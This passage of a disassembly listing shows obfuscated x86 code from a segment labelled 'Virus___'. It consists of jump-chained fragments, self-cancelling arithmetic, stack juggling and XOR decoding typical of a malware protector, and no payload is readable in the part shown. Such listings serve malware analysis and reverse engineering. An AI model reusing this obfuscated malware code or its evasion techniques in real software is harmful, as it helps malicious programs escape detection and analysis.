esp, 4 mov [esp], esi sub esp, 4 jmp loc_593F82 ; --------------------------------------------------------------------------- loc_58F374: ; CODE XREF: Virus___:00591655j add esi, ebp jmp loc_5834BB ; --------------------------------------------------------------------------- loc_58F37B: ; CODE XREF: Virus___:0058F608j mov edi, ebx pop ebx jmp loc_592F50 ; --------------------------------------------------------------------------- loc_58F383: ; CODE XREF: Virus___:005802C1j xor edi, 4E8216F4h jmp loc_58543B ; --------------------------------------------------------------------------- loc_58F38E: ; CODE XREF: Virus___:00589AF6j pop esp add ebx, edi push edx push 523612ECh pop edx jmp loc_592681 ; --------------------------------------------------------------------------- loc_58F39D: ; CODE XREF: Virus___:00592431j pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58F3AB: ; CODE XREF: Virus___:0058E674j sub ecx, 4 push 4D2Fh jmp loc_583821 ; --------------------------------------------------------------------------- loc_58F3BB: ; CODE XREF: Virus___:0059225Aj add esp, 4 push eax mov eax, 4 add ecx, eax mov eax, [esp] jmp loc_592D03 ; --------------------------------------------------------------------------- loc_58F3D1: ; CODE XREF: Virus___:00589F30j add ebp, 0CD0A03h mov edx, [esp] jmp loc_5891C8 ; --------------------------------------------------------------------------- loc_58F3DF: ; CODE XREF: Virus___:0058D362j push esp mov edx, [esp] add esp, 4 add edx, 4 push edi mov edi, 3B7314Eh jmp loc_58DA10 ; --------------------------------------------------------------------------- loc_58F3FA: ; CODE XREF: Virus___:0058D291j sub ecx, 41B02083h add ecx, eax add ecx, 41B02083h push eax mov eax, 0 add eax, 40865C78h add eax, ecx sub eax, 40865C78h mov [eax], dl push dword ptr [esp] pop eax add esp, 4 pop ecx jmp loc_583AC0 ; --------------------------------------------------------------------------- loc_58F42C: ; CODE XREF: Virus___:0058D20Ej push edi push esp pop edi add edi, 4 jmp loc_580929 ; --------------------------------------------------------------------------- loc_58F43A: ; CODE XREF: Virus___:005939D8j push ebx push eax mov eax, 14837E4Dh xor eax, 348C59E6h xor eax, 46846337h jmp loc_5901CB ; --------------------------------------------------------------------------- loc_58F450: ; CODE XREF: Virus___:00581951j sub edx, 4 jmp loc_5903CF ; --------------------------------------------------------------------------- loc_58F45B: ; CODE XREF: Virus___:0058D6FBj add edi, 4 push ebp mov ebp, 4 sub edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] mov [esp], esi push dword ptr [esp+4] jmp loc_58E846 ; --------------------------------------------------------------------------- loc_58F47C: ; CODE XREF: Virus___:0058D24Aj push edi mov edi, 14E02A82h or edi, 2B0403D5h push 3C16h mov [esp], edx jmp loc_58B620 ; --------------------------------------------------------------------------- loc_58F495: ; CODE XREF: Virus___:00592F60j mov esp, [esp] xor bl, al jmp loc_58BBCD ; --------------------------------------------------------------------------- loc_58F49F: ; CODE XREF: Virus___:0059290Dj push esi mov esi, 62C23EEBh jmp loc_589D60 ; --------------------------------------------------------------------------- lodsb xor al, bl push 263Dh jmp loc_586DF3 ; --------------------------------------------------------------------------- loc_58F4B7: ; CODE XREF: Virus___:0057FBF4j shl bl, 3 not bl jmp loc_5810AE ; --------------------------------------------------------------------------- loc_58F4C1: ; CODE XREF: Virus___:0058374Ej add esi, 4 jmp loc_58B860 ; --------------------------------------------------------------------------- loc_58F4CC: ; CODE XREF: Virus___:0058C0D9j push esi mov esi, 1F603A5Dh push ebp mov ebp, 40DF2B15h add esi, 47CD56C1h add esi, ebp sub esi, 47CD56C1h pop ebp push ebp mov ebp, 64AC1B05h push esi mov esi, 3A7A2203h add ebp, esi pop esi add ebp, 694520A2h xor esi, ebp jmp loc_588258 ; --------------------------------------------------------------------------- loc_58F503: ; CODE XREF: Virus___:005829F3j sub ebp, 30FE3E46h pop esi jmp loc_58765A ; --------------------------------------------------------------------------- loc_58F50F: ; CODE XREF: Virus___:005835C3j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B630 ; --------------------------------------------------------------------------- loc_58F523: ; CODE XREF: Virus___:00590A0Bj sub ebp, 4F9F27F7h add ebp, ecx jmp loc_587D34 ; --------------------------------------------------------------------------- loc_58F530: ; CODE XREF: Virus___:0058DCE6j mov ebx, 4 add eax, ebx jmp loc_58E01D ; --------------------------------------------------------------------------- loc_58F53C: ; CODE XREF: Virus___:00580566j add edi, 996BD804h push edi pop ebx jmp loc_58C257 ; --------------------------------------------------------------------------- loc_58F549: ; CODE XREF: Virus___:00582AFDj push ebp neg dword ptr [esp] pop ebp sub ebp, 4BE40261h jmp loc_58ED21 ; --------------------------------------------------------------------------- loc_58F559: ; CODE XREF: Virus___:0058FE92j pop ecx push edx mov dh, 0B0h and dh, 9 jmp loc_591AC4 ; --------------------------------------------------------------------------- loc_58F565: ; CODE XREF: Virus___:0058EB38j push dword ptr [esp] push dword ptr [esp] jmp loc_58D353 ; --------------------------------------------------------------------------- loc_58F570: ; CODE XREF: Virus___:00585631j mov [esp], edx mov edx, 4 jmp loc_58A2A1 ; --------------------------------------------------------------------------- loc_58F57D: ; CODE XREF: Virus___:00587F8Cj pop dword ptr [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58F58C: ; CODE XREF: Virus___:005856B3j mov esi, esp jmp loc_58DB4A ; --------------------------------------------------------------------------- loc_58F593: ; CODE XREF: Virus___:00583931j push esp push dword ptr [esp] jmp loc_588BFC ; --------------------------------------------------------------------------- loc_58F59C: ; CODE XREF: Virus___:0058CCF8j push dword ptr [esp] jmp loc_5843BB ; --------------------------------------------------------------------------- loc_58F5A4: ; CODE XREF: Virus___:00585EACj xchg eax, [esp] jmp loc_58C660 ; --------------------------------------------------------------------------- loc_58F5AC: ; CODE XREF: Virus___:0058D2E4j push 0B94h mov [esp], eax mov eax, 8EE7C418h add esi, 783769F7h sub esi, eax sub esi, 783769F7h pop eax add eax, esi jmp loc_57FB46 ; --------------------------------------------------------------------------- loc_58F5CF: ; CODE XREF: Virus___:0058DD4Bj push ebx mov ebx, 7E450B6Fh jmp loc_586A11 ; --------------------------------------------------------------------------- loc_58F5DA: ; CODE XREF: Virus___:00581172j mov esi, 789F69C1h xor [esp+4], esi mov esi, [esp] add esp, 4 pop ebp xor ebp, 789F69C1h pop ebx push 5DBBh jmp loc_57FE20 ; --------------------------------------------------------------------------- loc_58F5FB: ; CODE XREF: Virus___:005838C2j xor ebx, 103B78AEh dec ebx sub ebx, 6F1755Dh jmp loc_58F37B ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0EC835524h, 7DA2E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F61A: ; CODE XREF: Virus___:005926AAj sub eax, 7E201F56h add eax, 83548262h sub ecx, 13A53E2Eh add ecx, eax push ebx push esi mov esi, 4C4C3D7Ah mov ebx, esi pop esi shl ebx, 4 dec ebx sub ebx, 0B11E9971h add ecx, 6BDC6360h add ecx, ebx sub ecx, 6BDC6360h pop ebx pop eax sub ecx, 4 push ecx push dword ptr [esp+4] jmp loc_58F1DC ; --------------------------------------------------------------------------- loc_58F660: ; CODE XREF: Virus___:00584501j push edx mov dh, 22h jmp loc_58B2EB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_58A2E6 ; --------------------------------------------------------------------------- loc_58F677: ; CODE XREF: Virus___:00590B21j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58F67C: ; CODE XREF: Virus___:0058DA97j pop ecx add ecx, 4 add ecx, 2 jmp loc_585807 ; --------------------------------------------------------------------------- loc_58F68B: ; CODE XREF: Virus___:0058BA16j sub ebx, 6F89402Ch push 4149h mov [esp], esi mov esi, 73A86C2Eh shr esi, 6 push 0BBCh mov [esp], ecx jmp loc_580805 ; --------------------------------------------------------------------------- loc_58F6AE: ; CODE XREF: Virus___:00593B30j mov edx, 21602450h add edx, 1F930AF5h add eax, 29A622Ch sub eax, edx sub eax, 29A622Ch pop edx add eax, 475D3778h sub eax, edi sub eax, 475D3778h add eax, 40F32F45h push ebp mov ebp, 116B03ABh not ebp xor ebp, 5F44FCDh sub ebp, 0A488A2B3h add eax, ebp pop ebp push ecx mov ecx, 4FD55C28h add eax, 7FE80B69h sub eax, ecx sub eax, 7FE80B69h pop ecx jmp loc_58E8D7 ; --------------------------------------------------------------------------- loc_58F706: ; CODE XREF: Virus___:0058C566j xor dword ptr [esp], 191A5AD3h pop eax xor eax, 191A5AD3h pop edi pop ecx add ebx, eax pop eax push ebp mov ebp, 6B46255Ch shl ebp, 5 jmp loc_580336 ; --------------------------------------------------------------------------- loc_58F726: ; CODE XREF: Virus___:00589166j mov edx, esp push edi mov edi, 4 add edx, edi pop edi jmp loc_580E35 ; --------------------------------------------------------------------------- loc_58F736: ; CODE XREF: Virus___:005922C9j add ebp, 49122735h add ebp, 73A1AE97h jmp loc_587933 ; --------------------------------------------------------------------------- loc_58F747: ; CODE XREF: Virus___:0059076Cj mov dx, [esp] add esp, 2 push dx jmp loc_589E8E ; --------------------------------------------------------------------------- loc_58F755: ; CODE XREF: Virus___:00581647j pop eax push 51C2h mov [esp], edi jmp loc_58DC44 ; --------------------------------------------------------------------------- loc_58F763: ; CODE XREF: Virus___:0057FDAFj not edx add edx, 42FE5E6Bh sub edx, 5CAA648Fh or edx, 515D134Bh sub edx, 0DFFDDBDBh jmp loc_5881AD ; --------------------------------------------------------------------------- loc_58F782: ; CODE XREF: Virus___:0058E352j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 2A50110h sub eax, 1 xor eax, 47B83BB0h push eax sub dword ptr [esp], 570E1962h pop edx push ecx jmp loc_5933BF ; --------------------------------------------------------------------------- loc_58F7B1: ; CODE XREF: Virus___:005847FFj add edx, ebp sub edx, 3E7875DCh sub edx, 5D553F5h pop ebp push dword ptr [esp] jmp loc_587009 ; --------------------------------------------------------------------------- loc_58F7C8: ; CODE XREF: Virus___:005935E7j add esp, 4 mov ch, 4 add ch, bl pop ebx sub ch, 8Eh mov bh, ch mov ecx, [esp] add esp, 4 shl bh, 8 jmp loc_57F6F0 ; --------------------------------------------------------------------------- loc_58F7E6: ; CODE XREF: Virus___:00588D62j push 34DAh jmp loc_58DAC4 ; --------------------------------------------------------------------------- loc_58F7F0: ; CODE XREF: Virus___:005862D9j sub ebx, 0FFFFFFFFh shr ebx, 8 push edx jmp loc_5847D9 ; --------------------------------------------------------------------------- loc_58F7FF: ; CODE XREF: Virus___:00591E6Bj mov ecx, [esp] add esp, 4 shr ecx, 8 push ecx not dword ptr [esp] mov ecx, [esp] jmp loc_581FA4 ; --------------------------------------------------------------------------- loc_58F814: ; CODE XREF: Virus___:005892A3j sub ebp, 7E8B7474h push dword ptr [esp] pop edx jmp loc_585657 ; --------------------------------------------------------------------------- loc_58F823: ; CODE XREF: Virus___:00590000j mov esi, ecx pop ecx not esi jmp loc_58ECAE ; --------------------------------------------------------------------------- loc_58F82D: ; CODE XREF: Virus___:0058BBFCj push edx push 144131EBh mov edx, [esp] push 4C5Bh mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_586CF2 ; --------------------------------------------------------------------------- loc_58F84B: ; CODE XREF: Virus___:00588837j mov ecx, 583D1AC4h not ecx push esi mov esi, 7E860E2Dh xor ecx, esi pop esi shr ecx, 5 xor ecx, 818772Eh or edx, ecx mov ecx, [esp] add esp, 4 jmp loc_583E9A ; --------------------------------------------------------------------------- loc_58F871: ; CODE XREF: Virus___:0058BC66j mov ah, 5Dh mov dl, 0B1h sub dl, ah pop eax push ebx push ecx mov cl, 0B7h mov bl, 0ACh add bl, cl pop ecx and dl, bl pop ebx dec dl not dl or dl, 0F4h shr dl, 7 xor dl, 0FBh xor bh, dl pop edx jmp loc_58C30B ; --------------------------------------------------------------------------- loc_58F899: ; CODE XREF: Virus___:00589099j mov edx, 2E5B4Dh xor edi, edx jmp loc_592833 ; --------------------------------------------------------------------------- loc_58F8A5: ; CODE XREF: Virus___:005818B1j mov [esp], ecx push esi push ebx mov ebx, 32703EE0h mov esi, ebx mov ebx, [esp] add esp, 4 shl esi, 1 jmp loc_5808CC ; --------------------------------------------------------------------------- loc_58F8BE: ; CODE XREF: Virus___:00583B5Ej mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_587E02 ; --------------------------------------------------------------------------- loc_58F8D4: ; CODE XREF: Virus___:00586DE5j mov ebx, 4 sub ecx, ebx jmp loc_58B89C ; --------------------------------------------------------------------------- loc_58F8E0: ; CODE XREF: Virus___:00583F8Aj add edx, ebp pop ebp sub edx, 4581E32h jmp loc_58FA7A ; --------------------------------------------------------------------------- loc_58F8EE: ; CODE XREF: Virus___:005898C4j push eax mov al, 84h xor dl, al pop eax add dl, 36h jmp loc_592BDB ; --------------------------------------------------------------------------- loc_58F8FC: ; CODE XREF: Virus___:0057FA30j pop edx pop ecx add ecx, ebx mov ebx, [esp] add esp, 4 push ecx jmp loc_59145B ; --------------------------------------------------------------------------- loc_58F90F: ; CODE XREF: Virus___:0058B69Dj xor [esp], esi xor esi, [esp] jmp loc_58CABB ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58DC1C ; --------------------------------------------------------------------------- loc_58F923: ; CODE XREF: Virus___:00592127j mov edi, esp jmp loc_58AB3C ; --------------------------------------------------------------------------- loc_58F92A: ; CODE XREF: Virus___:0058CB20j xor ebp, [esp] jmp loc_5838E4 ; --------------------------------------------------------------------------- loc_58F932: ; CODE XREF: Virus___:00589284j mov ax, [esp] push ebx jmp loc_582FF1 ; --------------------------------------------------------------------------- loc_58F93C: ; CODE XREF: Virus___:00588460j mov esp, [esp] mov dx, [esp] push ecx mov ecx, esp add ecx, 4 push 1797h mov [esp], edx mov edx, 316D607Fh push eax push 3DD910ABh pop eax and eax, 489655C9h shr eax, 4 or eax, 37F22F45h shr eax, 4 xor eax, 7D75CF8Fh jmp loc_590D9F ; --------------------------------------------------------------------------- loc_58F97A: ; CODE XREF: Virus___:0058283Ej add esp, 4 push 4F1Eh mov [esp], edi push ecx mov ecx, 7CB532E6h mov edi, 56CB5F95h jmp loc_58B726 ; --------------------------------------------------------------------------- loc_58F995: ; CODE XREF: Virus___:0058C010j push dword ptr [esp] push dword ptr [esp] mov ebx, [esp] push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp loc_58F9C7: ; CODE XREF: Virus___:005827E0j ; Virus___:00590EEBj push dword ptr [esp] jmp loc_58D7A9 ; --------------------------------------------------------------------------- loc_58F9CF: ; CODE XREF: Virus___:00587B65j add esp, 4 xchg ebx, [esp] jmp loc_581EE7 ; --------------------------------------------------------------------------- loc_58F9DA: ; CODE XREF: Virus___:005818D5j mov eax, 349C3042h dec eax and eax, 74703CE2h or eax, 24334989h xor eax, 5F3A2F09h sub eax, 156A0024h jmp loc_58D182 ; --------------------------------------------------------------------------- mov ax, [esp] push 269h jmp loc_57F4EA ; --------------------------------------------------------------------------- loc_58FA07: ; CODE XREF: Virus___:0058724Dj mov [esp], ecx mov ch, 0ECh xor ch, 12h push eax push ebx mov bl, ch mov ah, bl pop ebx mov dh, ah mov eax, [esp] add esp, 4 pop ecx jmp loc_587EC3 ; --------------------------------------------------------------------------- loc_58FA24: ; CODE XREF: Virus___:0059053Cj add eax, 4 xchg eax, [esp] pop esp jmp loc_591F39 ; --------------------------------------------------------------------------- loc_58FA32: ; CODE XREF: Virus___:00581F9Fj mov ecx, 79D66857h shl ecx, 8 shr ecx, 8 jmp loc_58C7E3 ; --------------------------------------------------------------------------- loc_58FA42: ; CODE XREF: Virus___:0058E701j pop eax inc ebp dec ebp xor ebp, 244BF21Ah mov edi, ebp pop ebp jmp loc_581EE0 ; --------------------------------------------------------------------------- loc_58FA53: ; CODE XREF: Virus___:00584DF9j mov ebx, edi pop edi add ebx, 3DE752Eh shr ebx, 4 sub ebx, 0AB1FE7F1h sub eax, ebx pop ebx sub eax, 53EC4BC7h add eax, ebx push esi mov esi, 53EC4BC7h jmp loc_594248 ; --------------------------------------------------------------------------- loc_58FA7A: ; CODE XREF: Virus___:0058F8E9j sub edx, ebp add edx, 4581E32h sub edx, 64A7406Eh pop ebp add ebx, edx jmp loc_58BA15 ; --------------------------------------------------------------------------- loc_58FA90: ; CODE XREF: Virus___:0058DCCEj and edx, 6F0D7C1Ch inc edx dec edx sub edx, 60D8FD7h sub ebp, edx pop edx mov eax, [esp] add esp, 4 xor ebp, 1607594Fh push ebp pop eax pop ebp mov edi, 2410CD6Fh jmp loc_58B838 ; --------------------------------------------------------------------------- loc_58FABD: ; CODE XREF: Virus___:00588751j push esi mov esi, esp push ecx push esi mov esi, 57C10B8Bh shl esi, 5 neg esi jmp loc_57F47D ; --------------------------------------------------------------------------- loc_58FAD1: ; CODE XREF: Virus___:0059329Ej add esi, ecx sub esi, 60CA6F8Bh mov ecx, [esp] add esp, 4 add esi, 4 push esi push dword ptr [esp+4] jmp loc_58E41A ; --------------------------------------------------------------------------- loc_58FAF2: ; CODE XREF: Virus___:00581AFDj sub edi, 2993753Eh jmp loc_58F0FE ; --------------------------------------------------------------------------- loc_58FAFD: ; CODE XREF: Virus___:00587F96j inc eax add eax, 997AA86Fh jmp loc_592A84 ; --------------------------------------------------------------------------- loc_58FB08: ; CODE XREF: Virus___:00582EDFj shl ecx, 6 shr ecx, 3 push ebp mov ebp, 1A5D3603h shr ebp, 1 jmp loc_584C0D ; --------------------------------------------------------------------------- loc_58FB1B: ; CODE XREF: Virus___:00586AA3j push 2F2Ch mov [esp], esi mov esi, 4FD100Eh push eax jmp loc_5898EA ; --------------------------------------------------------------------------- loc_58FB2E: ; CODE XREF: Virus___:00583440j pop eax pop ecx mov ecx, 4C1B5543h xor ecx, eax pop eax add dword ptr [esp+4], 80A5F74h push edx mov edx, 14B4F78h add edx, 40BF172Bh add [esp+8], edx mov edx, [esp] add esp, 4 sub [esp+4], ecx push edx mov edx, 420A66A3h sub [esp+8], edx jmp loc_58C0E9 ; --------------------------------------------------------------------------- loc_58FB69: ; CODE XREF: Virus___:00583A25j mov dh, al pop ax not dh push eax mov ah, 3 add ah, 0A5h sub dh, ah pop eax sub bl, dh mov edx, [esp] add esp, 4 sub bl, 16h sub bl, al push dx jmp loc_58E31A ; --------------------------------------------------------------------------- loc_58FB8C: ; CODE XREF: Virus___:00580F94j sub edx, 0B171430h sub edx, 11F74403h sub edx, ebp add edx, 11F74403h add edx, 0B171430h xchg edx, ebp pop edx push eax mov eax, 35D657E5h sub ebp, eax pop eax xor ebp, 5622C5A4h add ecx, ebp mov ebp, [esp] push edx jmp loc_58DB83 ; --------------------------------------------------------------------------- loc_58FBC3: ; CODE XREF: Virus___:00586249j push ecx push edx mov dl, 7Ch shl dl, 1 jmp loc_58B137 ; --------------------------------------------------------------------------- loc_58FBCE: ; CODE XREF: Virus___:00585D4Cj sub edx, 8D065FDh add edx, 1E76642Dh sub edx, ecx push 1922h jmp loc_58E3B5 ; --------------------------------------------------------------------------- loc_58FBE6: ; CODE XREF: Virus___:00587556j not ebp shr ebp, 7 add ebp, 0FE2824A4h sub ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_58BCC6 ; --------------------------------------------------------------------------- loc_58FC01: ; CODE XREF: Virus___:0058BAF9j push edx push dword ptr [esp+4] pop edx jmp loc_589E40 ; --------------------------------------------------------------------------- loc_58FC0C: ; CODE XREF: Virus___:005943BEj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_581E5B ; --------------------------------------------------------------------------- loc_58FC1F: ; CODE XREF: Virus___:0058065Bj pop dword ptr [esp] mov esp, [esp] cmp cl, al pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58FC2D: ; CODE XREF: Virus___:00582D77j mov [esp], ebx mov ebx, ebp jmp loc_590C68 ; --------------------------------------------------------------------------- loc_58FC37: ; CODE XREF: Virus___:0058B000j pop esp push ecx sub esp, 4 mov [esp], ebx push eax jmp loc_58AA7B ; --------------------------------------------------------------------------- loc_58FC45: ; CODE XREF: Virus___:0058D471j push eax jmp loc_592697 ; --------------------------------------------------------------------------- loc_58FC4B: ; CODE XREF: Virus___:005894F3j pop ebp not ebp xchg ebp, edi jmp loc_590043 ; --------------------------------------------------------------------------- loc_58FC55: ; CODE XREF: Virus___:0058C53Dj and eax, edi mov edi, [esp] push edi jmp loc_585395 ; --------------------------------------------------------------------------- loc_58FC60: ; CODE XREF: Virus___:0058027Cj add esi, 3E8213EAh push dword ptr [esp] pop edx add esp, 4 jmp loc_583DC0 ; --------------------------------------------------------------------------- loc_58FC72: ; CODE XREF: Virus___:00584A3Ej mov ebp, esi pop esi sub ebp, 134722D9h and ebp, 363A2146h push ebx mov ebx, 4B0E23B4h shr ebx, 5 neg ebx add ebx, 0F76E1CDBh sub ebp, ebx pop ebx sub esi, ebp pop ebp or esi, 6D7E0B28h sub esi, 1 push ebp mov ebp, 18449h add esi, ebp pop ebp jmp loc_585252 ; --------------------------------------------------------------------------- loc_58FCAF: ; CODE XREF: Virus___:005906E3j push dword ptr [esp+4] jmp loc_592D84 ; --------------------------------------------------------------------------- loc_58FCB8: ; CODE XREF: Virus___:00580F19j pop esp xor bl, al push 5981h mov [esp], ebx push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ch, al push 107Eh mov [esp], edx mov dh, ch push ecx push eax mov ah, dh push ebx mov bh, ah mov cl, bh pop ebx pop eax push edx mov dl, cl push eax mov al, dl mov bl, al pop eax pop edx jmp loc_58E772 ; --------------------------------------------------------------------------- loc_58FCFE: ; CODE XREF: Virus___:0058A254j add esp, 4 add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push edi mov edi, 0B495756h add eax, edi pop edi add eax, ebx jmp loc_581343 ; --------------------------------------------------------------------------- loc_58FD29: ; CODE XREF: Virus___:00586A54j pop edi push ebx mov ebx, 26664F87h not ebx neg ebx shr ebx, 1 add ebx, 4BA20B1Eh sub ecx, ebx jmp loc_582FCB ; --------------------------------------------------------------------------- loc_58FD43: ; CODE XREF: Virus___:005859CAj mov [esp], esi pop ecx mov esi, [esp] add esp, 4 add eax, ecx jmp loc_587045 ; --------------------------------------------------------------------------- loc_58FD54: ; CODE XREF: Virus___:0058EF9Bj pop ecx pop edi xor ebx, [esp] xor [esp], ebx jmp loc_590302 ; --------------------------------------------------------------------------- loc_58FD61: ; CODE XREF: Virus___:0058637Ej xchg edi, ebp push edx mov edx, 1ABB0789h sub edx, 76C13708h not edx jmp loc_58FF80 ; --------------------------------------------------------------------------- loc_58FD76: ; CODE XREF: Virus___:005889B6j and ebp, ecx jmp loc_58B975 ; --------------------------------------------------------------------------- loc_58FD7D: ; CODE XREF: Virus___:0058ED4Cj push ecx mov ecx, 12927747h and edx, ecx pop ecx shr edx, 7 or edx, 46840D27h add edx, 78AFA55h add edi, 63486B93h sub edi, edx sub edi, 63486B93h pop edx add edi, ebp push ebx push edi mov edi, 534016F4h add edi, 0E57A0841h mov ebx, edi pop edi xor ebx, 76B53889h sub edi, 4CD67CD3h sub edi, 2F5D4514h add edi, ebx add edi, 2F5D4514h add edi, 4CD67CD3h jmp loc_589742 ; --------------------------------------------------------------------------- loc_58FDDB: ; CODE XREF: Virus___:005881A8j pop edx xor cl, 1Eh xor bh, cl pop ecx push eax mov ah, bh mov dh, ah jmp loc_57F4BF ; --------------------------------------------------------------------------- loc_58FDEC: ; CODE XREF: Virus___:0058EE17j pop ecx add esi, 777C4D24h jmp loc_586167 ; --------------------------------------------------------------------------- loc_58FDF8: ; CODE XREF: Virus___:00585A28j mov edx, 3F5E27FEh not edx shr edx, 6 and edx, 4D554F2Bh not edx xor edx, 80D2D2ABh sub edi, edx mov edx, [esp] add esp, 4 pop ebp sub esp, 4 jmp loc_58D630 ; --------------------------------------------------------------------------- loc_58FE21: ; CODE XREF: Virus___:00589C93j push esi not dword ptr [esp] pop esi neg esi or esi, 4FB70E2Eh shr esi, 6 sub esi, 17FFCFAh push ecx jmp loc_5928E4 ; --------------------------------------------------------------------------- loc_58FE3D: ; CODE XREF: Virus___:0058C7A7j sub esi, 4 jmp loc_580959 ; --------------------------------------------------------------------------- loc_58FE48: ; CODE XREF: Virus___:0058E9AFj mov cl, 27h or cl, 0AAh add cl, 3Fh and bh, cl pop ecx shl bh, 8 sub bh, 37h push 4047h mov [esp], ecx mov cl, 0E6h sub cl, 0C0h shr cl, 6 add cl, 66h add cl, 0A4h or bh, cl pop ecx sub bh, 73h mov dh, bh pop ebx sub dh, 0FFh jmp loc_589ABF ; --------------------------------------------------------------------------- loc_58FE80: ; CODE XREF: Virus___:00586DFEj push 6819h mov [esp], eax sub esp, 4 mov [esp], ecx mov cl, 0DDh mov al, cl jmp loc_58F559 ; --------------------------------------------------------------------------- loc_58FE97: ; CODE XREF: Virus___:00581D4Cj push dword ptr [esp+4] push dword ptr [esp] pop edi jmp loc_5910A3 ; --------------------------------------------------------------------------- loc_58FEA4: ; CODE XREF: Virus___:0058A544j pop dword ptr [esp] push ebx jmp loc_58C85B ; --------------------------------------------------------------------------- loc_58FEAD: ; CODE XREF: Virus___:00590A92j mov ecx, 0CA56E6F6h xor ebx, ecx jmp loc_588465 ; --------------------------------------------------------------------------- loc_58FEB9: ; CODE XREF: Virus___:005882D8j mov edx, edi mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_590CBC ; --------------------------------------------------------------------------- loc_58FECF: ; CODE XREF: Virus___:005806F2j sub al, dh pop edx jmp loc_58C1E8 ; --------------------------------------------------------------------------- loc_58FED7: ; CODE XREF: Virus___:00581B05j push dword ptr [esp+4] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp jmp loc_5807E3 ; --------------------------------------------------------------------------- loc_58FEEA: ; CODE XREF: Virus___:00582E59j sub bl, 0F2h mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp movzx eax, al push dword ptr [edi+eax*4] push edx mov edx, 32644C81h add [esp+4], edx push dword ptr [esp] pop edx add esp, 4 mov eax, [esp] push 0B39h mov [esp], edi jmp loc_58498F ; --------------------------------------------------------------------------- loc_58FF2D: ; CODE XREF: Virus___:00584142j add esi, ebx mov ebx, [esp] add esp, 4 jmp loc_5943D2 ; --------------------------------------------------------------------------- loc_58FF3D: ; CODE XREF: Virus___:00586EE6j add ebx, 4 push edi mov edi, 4 add ebx, 51F60B8Fh add ebx, edi push ecx mov ecx, 51F60B8Fh jmp loc_58EF99 ; --------------------------------------------------------------------------- loc_58FF5C: ; CODE XREF: Virus___:00586496j pop edi sub eax, 3BF850EFh add edi, eax pop eax jmp loc_591D51 ; --------------------------------------------------------------------------- loc_58FF6A: ; CODE XREF: Virus___:00582939j add esp, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_57F8EA ; --------------------------------------------------------------------------- loc_58FF80: ; CODE XREF: Virus___:0058FD71j add edx, 5CAC57C2h push ebx jmp loc_5930FB ; --------------------------------------------------------------------------- loc_58FF8C: ; CODE XREF: Virus___:0057FD6Aj push ebp mov ebp, 8F362E6h shl ebp, 7 shr ebp, 8 jmp loc_590A2B ; --------------------------------------------------------------------------- loc_58FF9D: ; CODE XREF: Virus___:0058BCDDj not ecx add ecx, 6C5F4896h add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] mov esp, [esp] add [esp+2], cx mov cx, [esp] add esp, 2 jmp loc_5915E2 ; --------------------------------------------------------------------------- loc_58FFC5: ; CODE XREF: Virus___:0059313Ej push edx mov edx, esp add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] jmp loc_58A08C ; --------------------------------------------------------------------------- loc_58FFDE: ; CODE XREF: Virus___:0058D833j and ebx, 4FD153C0h add ebx, 0FFFFFFFFh and ebx, 507F6619h jmp loc_584263 ; --------------------------------------------------------------------------- loc_58FFF2: ; CODE XREF: Virus___:0057F83Ej xor ebp, [esp] jmp loc_58E213 ; --------------------------------------------------------------------------- loc_58FFFA: ; CODE XREF: Virus___:0058612Ej push ecx mov ecx, 30700B72h jmp loc_58F823 ; --------------------------------------------------------------------------- loc_590005: ; CODE XREF: Virus___:00580A3Fj sub edi, 6066203Eh pop eax sub edi, 36227A05h sub edi, esi add edi, 36227A05h sub edi, 4F2A5A8Fh mov esi, [esp] add esp, 4 retn ; --------------------------------------------------------------------------- jmp loc_57F37C ; --------------------------------------------------------------------------- loc_59002F: ; CODE XREF: Virus___:005847D4j push ebp jmp loc_5851EB ; --------------------------------------------------------------------------- loc_590035: ; CODE XREF: Virus___:0058B4B0j mov esi, [esp] jmp loc_58732D ; --------------------------------------------------------------------------- loc_59003D: ; CODE XREF: Virus___:0058C5F5j push eax jmp loc_58DBFF ; --------------------------------------------------------------------------- loc_590043: ; CODE XREF: Virus___:0058FC50j push esi mov esi, 80541F40h xor edi, esi pop esi or ecx, edi pop edi jmp loc_587134 ; --------------------------------------------------------------------------- loc_590054: ; CODE XREF: Virus___:0058D331j pop ecx shl esi, 4 sub esi, 1 push 7438h mov [esp], ebp mov ebp, 732B1F5Ch sub esi, ebp jmp loc_5817DA ; --------------------------------------------------------------------------- loc_590072: ; CODE XREF: Virus___:00584E1Bj add edx, 4 xchg edx, [esp] pop esp xor eax, edi mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 337644EEh sub edx, 1 jmp loc_58868F ; --------------------------------------------------------------------------- loc_590097: ; CODE XREF: Virus___:0058BA2Cj or cl, 13h shl cl, 5 add cl, 29h sub al, cl pop ecx sub dh, al pop eax jmp loc_586F9E 